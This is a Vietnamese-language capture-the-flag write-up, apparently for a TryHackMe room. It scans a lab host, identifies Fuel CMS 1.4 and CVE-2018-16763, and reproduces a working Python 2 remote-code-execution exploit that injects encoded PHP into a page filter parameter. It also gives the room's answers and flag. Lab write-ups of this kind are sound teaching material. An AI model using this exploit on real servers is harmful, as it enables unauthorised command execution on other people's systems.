
Sau khi Start Machine , ta được cung cấp một IP address , sử dụng Nmap quét đơn giản mục tiêu: `nmap 10.10.102.197`

Máy chủ mục tiêu đang chạy 2 dịch vụ là ssh và http trên các cổng tiêu chuẩn.Truy cập qua browser ta được một trang web:

Let Answer the Questions!
1. *What is the name of the application running on the vulnerable machine?*
Như ảnh bên trên ta thấy được name của application!
*Answer: Fuel CMS* (một hệ thống quản trị nội dung mã nguồn mở)
2. *What is the version number of this application?*
*Answer: 1.4*
3. *What is the number of the CVE that allows an attacker to remotely execute code on this application?*
Các cơ sở dữ liệu về lỗ hổng phổ biến như [exploit-db](https://www.exploit-db.com/), thử tìm kiếm về Fuel CMS :

Ta có thể thấy một vài vul được report , xem một trong các report về RCE , ta được cùng một mã CVE là CVE-2018-16763

*Answer: CVE-2018-16763*
4. *What is the value of the flag located on this vulnerable machine? This is located in /home/ubuntu on the vulnerable machine.*
Sử dụng payload khai thác trên report này:
```
import requests
import urllib
url = "http://10.10.102.197"
def find_nth_overlapping(haystack, needle, n):
start = haystack.find(needle)
while start >= 0 and n > 1:
start = haystack.find(needle, start+1)
n -= 1
return start
while 1:
xxxx = raw_input('cmd:')
burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
proxy = {"http":"http://127.0.0.1:8080"}// thay bằng IP của VM
r = requests.get(burp0_url, proxies=proxy)
html = "<!DOCTYPE html>"
htmlcharset = r.text.find(html)
begin = r.text[0:20]
dup = find_nth_overlapping(r.text,begin,2)
print r.text[0:dup]
```
On Linux, thực hiện tạo file `exploit.py` để lưu trữ và chạy payload viết bằng python trên:


Do payload sử dụng cú pháp của python2
Chạy lệnh khai thác sau : `python2 exploit.py -u http://10.10.102.197`
And bunmmm , i get a shell , sau khi thực thi một vài lệnh ta thu được flag!
*Answer: THM{ACKME_BLOG_HACKED}*